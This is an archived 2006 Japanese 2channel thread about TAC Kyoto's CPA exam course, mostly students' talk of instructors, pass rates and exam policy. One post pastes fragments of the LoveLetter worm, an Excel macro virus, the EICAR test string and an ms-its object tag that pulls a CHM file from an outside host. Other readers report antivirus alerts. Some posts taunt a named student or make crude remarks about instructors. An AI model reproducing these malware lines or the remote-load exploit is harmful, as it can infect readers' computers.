5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【CPA専用】TAC京都校会計士講座【スレ】

1 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 23:42:12 ID:???
TAC京都校会計士講座専用のスレです。
別スレを必要とする人がいるため緊急にたてました。

2 :誘導:2006/09/04(月) 00:03:53 ID:???
削除ガイドラインを読んでください。

【お公家さん顔】TAC京都校スレ【おけいはん】
http://school5.2ch.net/test/read.cgi/exam/1153222190/

--------------------------------------終了---------------------------------------------

3 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 00:07:36 ID:???
つーかあっちのスレ荒らしてるの、会計士受験生だろ。

4 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 00:38:34 ID:???

--------------------------------------再開---------------------------------------------

向こうのスレは荒らし,関係ない書き込みがとても多く,会計士受験生はとても困っていました。
このスレが立って,とてもありがたいです。


5 :スレたての希望:2006/09/04(月) 00:45:22 ID:???
488 名前: 一般に公正妥当と認められた名無しさん [age] 投稿日: 2006/08/29(火) 22:27:51 ID:???
京都校スレは2つたてるべき。

490 名前: 一般に公正妥当と認められた名無しさん [sage] 投稿日: 2006/08/30(水) 00:26:45 ID:???
俺も京都校スレは2つたてことに賛成。
すれの立て方は知らないけど。
基地の書き込みをみると、なんともいえない気持ちの悪い気分になる。
たとえるなら、胸焼けか。
495 名前: 一般に公正妥当と認められた名無しさん [sage] 投稿日: 2006/08/30(水) 19:57:34 ID:???
誰かためしに立ててみて。
TAC京都校税理士講座以外以外スレ
498 名前: 一般に公正妥当と認められた名無しさん [age] 投稿日: 2006/08/30(水) 22:47:24 ID:???
TAC京都校会計士講座スレ

TAC京都校その他講座スレ

たててみればいいと思います

6 :スレたての希望:2006/09/04(月) 00:46:08 ID:???
505 名前: 一般に公正妥当と認められた名無しさん [sage] 投稿日: 2006/08/31(木) 20:07:43 ID:???
別すれにするの1000まで待てない。
とりあえず、TAC京都校会計士講座スレつくって。
今度は念のためID表示しないと書き込めないようにしたほうがいいと思う。

7 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 01:00:12 ID:???
>>3
ちゃんと読んだのか?
どう見ても税理士受験生だろうが。

8 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 08:22:12 ID:???
大原西中島校だって会計士と税理士で別々にスレ立ててる。
実名を出して誹謗中傷しまっくてる奴に何の対処もせずに、
削除人がこっちのスレを消すとしたら、順序が間違ってる。

9 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 11:48:36 ID:???
そういう誹謗中傷をなくすためにローカルルールで決まりがあります。
会計全般試験@2ch掲示板 ローカルルール
■全ての者への煽り、誹謗、中傷等を目的とした書き込み及びスレッドを立てる事は禁止です
■上記違反、その他荒らし等に対しては一貫して無視をするという方針にご協力をお願いします

向こうのスレの該当部分のレスを
整理板のレス削除に依頼するのが先だと思います。
(要請板はまず通らないので)

西中島だってやってるからここでもかまわないというのは如何なものかと。
荒れているからスレを分けるとかいうのは運営が一番嫌うというのを
知っておいてください。

スレッド保持数にも限界があるのであまりスレッドを乱立させると
圧縮→dat落ちを繰り返し、板に多大な負担をかけるということも理解してください。


10 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 13:24:27 ID:???
>>9
あんた何者??

11 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 15:25:12 ID:???
そんなことよりウイルスを貼る奴をなんとかしろ。

板に負担がかかることより個人のパソコンに負担がかかることが最悪だ

12 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 15:31:25 ID:???
自分のPCが大事ならここより、よその掲示板を使うことをお勧めします。


13 :sage:2006/09/04(月) 15:50:29 ID:NrIMjph1
二年本科お代金支払ってきますた これから二年間頑張ります

14 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 16:45:42 ID:???
じゃあ、ウイルスはっても許されるのか?


15 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 17:00:16 ID:???
っていうか、それウイルスじゃないし。
少しは2ch運用情報の板をみろよ。
既出だし。

16 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 17:15:38 ID:???
でも貼る香具師は池沼

17 :一般に公正妥当と認められた名無しさん :2006/09/04(月) 19:57:44 ID:???
>>16
同意。
おれは、
ウイルス対策ソフト入れてるから助かった。

18 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 19:59:49 ID:???
>>15を250万回読め

19 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 20:26:29 ID:???
他のスレによると、中原先生の評判がかなり良いみたいですが、実際に受講してみた感想はどうですか?
レジュメも講義もよければ大阪から京都に変わろうかと思っています。

20 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 20:52:39 ID:???
てかお前らの9割くらいたんとうちるんだから関係ないべ
おつかれ

21 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:01:08 ID:???
TACの中でも京都校が一番合格率高いらしいけど。

22 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:05:28 ID:???
>>21
それ嘘だよ

23 :一般に公正妥当と認められた名無しさん :2006/09/04(月) 21:06:29 ID:???
いくらなんでも9割は落ちんよー

24 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:11:13 ID:???
いや9割おちるよ
 先輩にきいたけど上級生やまのようにいるからな
そんなもんだから
覚悟してのぞまないと

25 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:16:28 ID:???
>>21
神戸と聞いたが

26 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:17:01 ID:???
>>24
らしいな
京都は特に率わるいみたいだ

27 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:22:42 ID:???
>>15
sine

28 :一般に公正妥当と認められた名無しさん :2006/09/04(月) 21:24:27 ID:???
>>24
>>26

不名誉な記録だ・・・



29 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:27:08 ID:???
俺らの代で京都の率あげねば
来年は短答2000人とほぼきまってるらしいから
心してかかろうぜ


30 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:28:31 ID:???
>>29
くわしく

31 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:31:32 ID:???
>>29
俺もきいた
今年論文で1600から2000ぬけるが
志甫もまだ残る結果として
論文を5000人前後の採点にしていきたいらしいな

32 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:33:42 ID:???
短答は2割の合格率きる時代がまた到来みたいだな
バカすく参入もあるし
簿財免除者も06落ち組あたりにはわんさかいそうだしな

33 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:35:27 ID:???
短答特化は年内から
の時代が到来しましたな

34 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:37:36 ID:???
盛り上げるのは大いに結構だけど、文体変えてくれ。

35 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:38:07 ID:???
バカスクは今年は1,000人ぐらい?

36 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:38:38 ID:???
ジサクジエン

37 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 21:41:30 ID:???
>>33
それまじなの?
講師はなんていってんの?

38 :一般に公正妥当と認められた名無しさん :2006/09/04(月) 21:47:20 ID:???

>>35来年馬鹿すく、700人参戦。
ことしはあまりいないらしい。

39 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 22:10:24 ID:???
>>38
そいつら絶対に短答には落ちないだろうから短答はほんとに狭き門だな・・・

40 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 23:10:00 ID:???
なんで京大あるのに京都校の合格率わるいの?

41 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 23:24:08 ID:???
京大の頭いい奴は会計士なんか目指さないから

42 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 23:31:57 ID:???
でも京大内で平均以下でも頭いいことに変わりはないと思うんだがなあ。

43 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 23:38:56 ID:???
そもそも京大生ってそんないないよね?
合格率の大部分は同、立に依存。
あと京大生で頭いいのはあっと言う間に
受かって消えていくので印象に残りにくい。

44 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 23:49:29 ID:???
http://www.geocities.jp/plus10101/CPA.HTML
京大:同志社:立命館で、
受講者はおおよそ1:2:1、
合格者はおおよそ5:5:1だな。

45 :一般に公正妥当と認められた名無しさん :2006/09/04(月) 23:50:34 ID:???
スレが活発になってきた。
これも>>1さまさま

46 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 00:00:40 ID:???
自演

47 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 00:16:23 ID:???
中村先生ってやめちゃうの?

48 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 00:27:44 ID:???
●山きも〜

49 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 07:03:18 ID:???
>>44
受講者数1,2位の同志社・京大ともに平均合格率上回ってるんだし、
京都校の合格率が低いなんてこたああるまい。
しかし同志社と立命の異様な合格率の差はなんなんだろうな。

50 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 07:42:31 ID:???
今年の短答を見る限り、
短答に特化する必要はそれほどないような気がするけどね。
せいぜい財表くらいかな。

51 :<body onload=window()>:2006/09/05(火) 20:17:14 ID:???
>>2ё

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???


52 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 21:05:16 ID:???
>>51
頼むから基地害消えてくれ

53 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:03:42 ID:SUA539FB
>>19
オレはテキストで復習して、復習用ノートを自作するタイプだから、
間違えやすいポイントを強調してくれるりーの方があってる。
テキスト作成者がりーらしいので、その点もりーがあってるのかもしれん。

講師の良し悪しは科目にもよるけど、大部分相性だと思うので、一回
京都校の講師控え室来て中原先生にレジュメもらってみたら?
(ついでに一度授業受けてみるとか)

個人的には授業は別段特徴があるとは思えないけどな、普通って感じ。
当人が頭良いので、さらーっと流れていく感じがする。

あと美人です。これは間違いない。新妻ですが・・。

54 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:16:58 ID:SUA539FB

すんません。つまらん追記すると、授業中に
「中原先生美人やなぁ」と思ってしまうから、りーの方があってるw

55 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:23:47 ID:???
でも女子なら「りー先生男前やなぁ」と思ってしまう罠

56 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:29:42 ID:SUA539FB
なるほど。最近ホストですか?度がパワーアップしとるしなぁ。

57 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 00:07:51 ID:???
>>53 >>54
ありがとうございました。
受講してみようかなと思います。

58 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 00:28:47 ID:???

      ∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧∧
     < ギャーーッ!!!                           >
     < 私のどこがキモイっていうの!!!!
     <                                      >
       ̄|/∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨∨
      | ̄ ̄ ̄|
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
| 口口 TAC京都校.口口.  |
| 口口   ___   口口. |
| 口口口 |  |  | ..口口口..|

片△がまた騒いでいます。


59 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 00:29:30 ID:???

出て来て!出て来て!片△!片△さ〜ん!!
ー---y------y-----y------y------y----
  ,、_,、   ,、_,、   ,、_,、   ,、_,、   ,、_,、
. (・v・○ (・v・○ (・v・○ (・v・○ (・v・○
  ○ r'   ○ r'  ○ r'  ○ r'  ○ r'
.  vー'    vー'   vー'   vー'    vー'
   ━    ━    ━    ━    ━

今、設備の整った精神病院へ通院中のようです。


60 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 00:34:15 ID:???
立命はTACにほとんどきてないが…
俺の知る限り、10人中9人が大原いってる…。
俺?あえて孤独を選んでTAC

同志社の数圧倒的だろ、ここ…

61 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 00:44:31 ID:???

しかし、いつも違う奴と立ち話をしている
孤独な片△という基地骸がいる。

痩せて骸骨みたいな奴だ


62 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 01:07:59 ID:???
片△キモ〜

63 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 13:22:18 ID:???
今やってる講義は知らないけど(今論文結果待ちなんで)、中原先生のレジュメってあれ中村先生のやつそのまま配ってるんじゃないの?
中村先生がやめて、簿記も租税も中村先生じゃなくなったって時点で俺は京都校暗黒時代が来るんじゃないかと考えてるんだが…(今年で通れば関係ないんだけど)

あと、俺の周りでは中原先生の評判はあんまりよろしくないよ。
まあ俺らの中では中村先生があまりにも神すぎたからなんだけど。

64 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 15:29:46 ID:???
中村先生ってそんなによかったかなぁ?
ていうか、簿記って講師によって大差ない気がするけど。

65 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 15:49:09 ID:???
もっというと、上級ハイレベルがすべてVで、小飯塚なしって時点で終ってる。
こんなの論文合格発表待ち組にハイレベル受けずに通常の上級受けろって
言ってるみたいなもん

66 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 15:55:32 ID:???
中村先生かなり良かったけどなぁ。
テキストにない、翌年度、翌々年度の開始仕訳とか教えてくれたり。
テキストみたいにタイムテーブル簡略化して教えないから実践向きだし。
去年の秋上に李、中原の選択しかなくて、中村先生がいなくて
泣きそうになった。李わかりにくいよ。

67 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 16:15:14 ID:???
>>65
俺も圧縮が無くなって困ってる

68 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 18:48:34 ID:???
簿記ってどの講師もあんまり優劣を感じないな。
だったら中原先生の可愛い顔見とくか、って感じだ。

69 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 19:19:54 ID:???
>>52
お前が特化する必要あるな
来年バカすくである程度人数もってかれるから
狭き門だよ
財表は大原じゃないと無理みたいだぜ
今年大原実務指針結構的中させてるみたいだ

70 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 19:37:40 ID:???
>>69
大原の短答答練の財表は実務指針ばっかりやったやん。
そら数撃ちゃ当たるっちゅうねんw

71 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 20:29:44 ID:???
>>68
池上先生も超美人ですよ。

72 :一般に公正妥当と認められた名無しさん :2006/09/06(水) 20:34:47 ID:???
池上せんせ
僕の体、好きにしてください。

73 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 20:43:08 ID:???
ハイレベルってどんなことすんの?

74 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 20:49:12 ID:???
っつーか女性講師は美人ばかりなんだな

75 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 22:05:25 ID:???
>>74
ほんとにそう思う。
少なくとも関西圏で生で女の講師見てて「ブサイクだな〜」って人がなぜかいない。
講義を受けてる女はブサイクばっかりなのになんでだろう。
ほんとに不思議。

76 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 00:04:32 ID:???
>>75
弥生ちゃんは美人なんですか?

77 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 00:18:41 ID:Z0nj+b0s
俺は弥生ちゃんは美人ではないと思うが・・。
あとCPA受講生もけっこう可愛い子いると思うけどなぁ。
おばさん?という人も散見されますが・・。

それよりこのスレ、ウィルスがどうとらとか出るんですが
VBS/LoveLetter@MM ってやつ。
どういうこと?

78 :一般に公正妥当と認められた名無しさん :2006/09/07(木) 01:05:53 ID:???
>>77
ノートンと同じようなもの。
専プラ使ってれば問題ないと思う。
IEで見てる人も、スレを読み込むときにメッセージが表示されるけど、
そこで、削除ボタンとか、駆除ボタンを押せば大丈夫。
どんな、メッセージが表示されるかは、IEのバージョンとかウイルスソフトを
入れてるかによっても違います。

79 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 14:25:57 ID:???
>>75
大阪の管理会計の先生も美人らしいな

80 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 16:10:06 ID:1spgKsoJ
今日から08年目標、2年コースがスタートですね。
ちょい緊張気味。

81 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 17:13:24 ID:???
08目標ってなんか気楽そうだなー

82 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 19:30:44 ID:???
ビデオ収録の講師は、
簿記:中原、池上
管理:山田
財表:弥生
監査:藤田
経営:田畑
企業:小飯塚

にすればいいのに

83 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 19:32:40 ID:???
>>82
なるたんは嫌い?

84 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 20:19:49 ID:???
全部女講師にしろという意味だろう。

85 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 20:21:17 ID:???
財表で実務指針答練ででてればかなり有利だぜ
大原のみたらかなり的中しててタックにしたの後悔してるよ
友達から入手するかな
来年短答とおっても論文は論文特化組みいるしな
来年はかなりきつそうだな
短答2000人は確定みたいやし

86 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 20:50:42 ID:???
>>85
おまえタックのテキストやってなかっただろ?

87 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 20:54:49 ID:???
答練で短答が決まると思ってる時点で救いようないな

88 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 21:01:00 ID:???
他校の入手するとか言ってるあたりベテの素質大

89 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 21:08:05 ID:???
おまいら釣られすぎw

90 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 22:16:39 ID:???
実際タックの財表はやばいみたいだよ
しかも論文対策も簿記は一問しかでないときめつけてたし
大原はいろんな形式でだしてたみたい
管理2問簿記2問財表1問とか
管理1問簿記2問財表2問とかさ

91 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 13:35:41 ID:???
>>90
どうやばいのか説明になってないが

92 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 15:37:43 ID:???
>>90
TAC財表がやばくても塚本先生がフォローするから大丈夫。

93 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 15:39:44 ID:hZXui/Df
いきなりですが、質問させてください。
財務会計論の中原香織先生はどうでしょうか?
VTRだと李先生になるのですが、どちらがお勧めですか?
同様に財表で、
通学の伊藤弥生先生あVTRの伊藤先生ではどちらがお勧めでしょうか?
質問ばかりですいません、よろしく御願いします。

94 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 22:46:29 ID:???
通学の伊藤先生とVTRの伊藤先生なら選択の余地ないやん。

95 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 22:53:37 ID:???
>>94
おそらく,間違えたのでしょう。

あと,中原香織先生は関西最強ですよ。
レジュメは,「神レベル」といわれた中村先生のをそのまま使っているそうだし。
講義についても,具体的に悪い指摘がなさそう。

96 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 22:57:42 ID:bX1qCYcP
あ、本当ですね、間違えましたw失礼しました!
通学が伊藤弥生先生で、VTRの方は塩川先生でした。
やっぱりVTRは有名講師だし内容は良いんだろうけど、
通学の方が緊張感があって集中できるし・・・
素直に考えると通学授業を選べば良いんだろうけど、
伊藤先生がパンフ見るとギャルみたいな方なのでwこれはどうなのかなあと思いました。
見た目で判断すべきではないのはわかっているのですが、
ここは皆さんのご意見を聞きたいなあと思いまして。

97 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 22:59:18 ID:bX1qCYcP
おっと、打っている間にレスを頂いていた!
ありがとうございます。
中原先生はそんなに評判が良い方だったんですか!
とても安心できました!!

98 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:03:41 ID:???
>>96 ttp://startpage-cpa.com/cgi-bin/votec2006/votec.cgi?no=212

99 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:08:46 ID:???
中原関西最強説には異論もありそう・・・。
伊藤先生は実物はあの写真ほどギャルっぽくはないと思うよ。
若い頃はすごかったんだろうけどw

100 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:13:37 ID:bX1qCYcP
>>98
こんなサイトがww
大変参考になりました!他の項目もチェックしてみます!

101 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:13:42 ID:???
>>96
授業内容はとてもしっかりしてますよ。初心者にはとても良いのではないでしょうか。
講義を受けていると中原先生も伊藤先生も非常に頭の良い方なんだと端々で感じましたね。

102 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:16:42 ID:???
>>99
簿記の先生は今4人しかいないですからね

103 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:17:38 ID:bX1qCYcP
>>99
>>101
ありがとうございます!やっぱり人は見た目で判断しちゃ駄目ですねw


104 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:22:24 ID:???
財表も租税もなるたんが最強という噂もある。

105 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:37:28 ID:???
財表は,塚本先生最強です。レジュメも話術もギャグもwww


106 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:42:45 ID:???
あのギャグは、ちょっと…
オヤry

107 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:51:19 ID:???
企業法は渡部最強だな。

108 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:51:41 ID:???
後の板尾である

109 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:52:41 ID:???
>>107
受かったらどうなるんだろうな
講師やめるのかな?

110 :一般に公正妥当と認められた名無しさん:2006/09/08(金) 23:54:24 ID:???
>>105
>>98のランキングでは人気無いな

111 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 00:42:06 ID:???
短答は来年2000まじ?

112 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 01:05:28 ID:???
弥生ちゃん(*´д`*)

113 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 01:40:57 ID:DoWlDdbT
>>101
講師の良さは頭の良さより経験かと・・。
頭のいい人は誰が講師やっても受かってくから、ひっかかる人間がどういう
ところでどういう風にひっかかるかが分かってるのがいい講師だと思うぞ。

その点、なるたんは大部分の受験生の本質を見抜いている。
という気がする・・。

「そもそも受験生ごときの質問に答えられんような奴は講師辞めろよってぇ
話ですから。」(by降格の河村風に・・)
塩川ってどんな人だろ?

114 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 01:44:14 ID:???
>>113
なるたんは元ベテ?藤木せんせと一緒に勉強してたんだよね?

115 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:02:20 ID:???
理マスに小さな鏡を挟んで後ろの席を睨んでる女がいた。

116 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:03:08 ID:DoWlDdbT
>>114
いやいやベテかどうか知らんけど、講師暦長いっしょ。

なるたんは
おまえら気づいてないやろうけど、後でこんな間違いするんやとか
こんなやり方でやってたら、こういうどつぼにはまるんやとか
受験生の典型や多くの類型を熟知している気がする。

117 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:04:03 ID:???
>>114
なるちゃんは確か二回目で合格だったと思う。
全答連は全国7位
。原価計算は全国2位とか言ってたような。

藤木先生は4〜5回受けてたらしいから元ベテだね。

118 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:21:30 ID:DoWlDdbT
>>117
藤木先生元ベテですか?
なんかショック。頭良さそうやのになぁ。

TACの居心地が良かったかなぁ

119 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:28:10 ID:???
なるチャンは原計と経済が得意で簿記が苦手だったらしいね。
大学はどこだったんだろ?
木村先生は恩師で弥生ちゃんは教え子なんだよね、確か。

120 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:33:38 ID:???
なるちゃんは神戸大でしょ。

121 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:36:35 ID:???
塚本先生もなるたんの教え子らしいよ。
監査の時間に言ってたような。

122 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:38:19 ID:???
さおだけ屋の人も教え子かもねw

123 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:43:36 ID:???
さおだけ屋の人も教え子らしいよ。
以前、授業で「席の一番前に座っとった」ってエピソードを言ってた。
まぁ、彼はチャレンジで一発合格らしいので、接点は少ないだろうけど。

124 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:46:13 ID:???
>>123
マジっすかw
塚本先生も一番前で熱心に授業受けていたらしい。
できる人は一番前か一番後ろって噂は本当かもね。

125 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:51:02 ID:???
弥生ちゃんも一番前で熱心に受けてたらしいよw

126 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:54:04 ID:???
さおだけ屋はサイキッカーです。

127 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:56:34 ID:???
それよりも藤木先生が元ベテなのがショック・・・

128 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:57:08 ID:DoWlDdbT
次の授業は前の席争奪戦ですか?

129 :一般に公正妥当と認められた名無しさん:2006/09/09(土) 02:57:42 ID:???
4,5回受験くらいなら別にめずらしくあるまい。

130 :一般に公正妥当と認められた名無しさん:2006/09/10(日) 02:10:32 ID:???
片△きも〜

131 :番組の途中ですが名無しです:2006/09/10(日) 17:30:38 ID:???
こっちくんなw

132 :一般に公正妥当と認められた名無しさん:2006/09/10(日) 18:50:55 ID:???
お前みたいなやつが、
いちいちかまっているから来るんだよ。


133 :一般に公正妥当と認められた名無しさん:2006/09/10(日) 23:12:50 ID:???
片△きも〜

134 :番組の途中ですが名無しです:2006/09/10(日) 23:24:39 ID:???
>>132
     ∧_∧
    ( ´∀`) <オマエモナー
    (    )
    | | |
    (__)_)

135 :一般に公正妥当と認められた名無しさん:2006/09/11(月) 08:21:07 ID:???
とりあえず来年の短答2000てのはほんと?

136 :一般に公正妥当と認められた名無しさん:2006/09/11(月) 09:06:09 ID:???
そうみたい

137 :一般に公正妥当と認められた名無しさん:2006/09/11(月) 10:45:15 ID:???
そのかわり、今年の短答合格・論文不合格組が受験しないんだから、
数字ほど厳しくない気はするな。

138 :一般に公正妥当と認められた名無しさん:2006/09/11(月) 14:19:49 ID:???
でも、短答合格組が受験しなくても、
受験1回目の人たちは例年通り同じ数くらいいるはずだから、
厳しくないようでけっこう厳しいのかも。

139 :一般に公正妥当と認められた名無しさん:2006/09/11(月) 15:44:57 ID:???
>>138
受験者数12000人くらいになるのでは
今年おちた7割のうち撤退しないやつはうけてくるからな
1年目は大変だな
短答意識した勉強はしとくべきかもな

140 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 01:05:37 ID:0qjSUA7k
統計学選択でほぼ確実に満点を狙える、理系出身の漏れが来ましたよ。
残りのテストは4割強くらいで合格できる算段になるのだが・・・どうなるか・・

141 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 01:15:30 ID:???
今年の本試験満点だったの?なら合格確定ジャマイカ

142 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 01:15:40 ID:???
その前に短答で消えます

143 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 11:34:48 ID:???
あと新制度になってからわざわざ統計や経済を選ぶのは、普通に満点近く狙える
理系or経済統計出身者ばっかだから、今年の合格率から自分の合格率もわかると思うよ。

144 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 12:06:27 ID:???
施行前の想定問題と今年の解答欄しか見てないが、あの量は2時間で満点
狙えるレベルなのか?
考えればできる程度ではあの量を2時間で満点レベルまでもっていくのは
難しいと思うが・・。
結局ある程度は時間割いて勉強しないといけないでしょう。

あと統計は高校数学をちゃんとできていた人がちゃんと勉強すれば文系でも
問題ないレベルだと思うぞ。経済みたく偏微分とかでてこないし、統計で
あって確率じゃないから測度論もでてこない。あとは努力対効果の問題だけ。
理系だからだけではちゃんとできる文系と大差ないと思う。

もちろん大学時代(現在も含めて)に統計をとっていて、ちゃんと勉強して
ちゃんと理解して「優」とりましたって人は別ですが・・。

145 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 12:32:28 ID:???
計算力があれば、2時間あれば十分ですよあの分量だと。
文型でちょこっと統計をかじったような人が会計士試験のために計算力をつける〜
というのはこれからかなり負担がかかります。
逆に本物の数学力を持っている人が統計に必要な知識をつけるのはそんなに負担にはなりません。
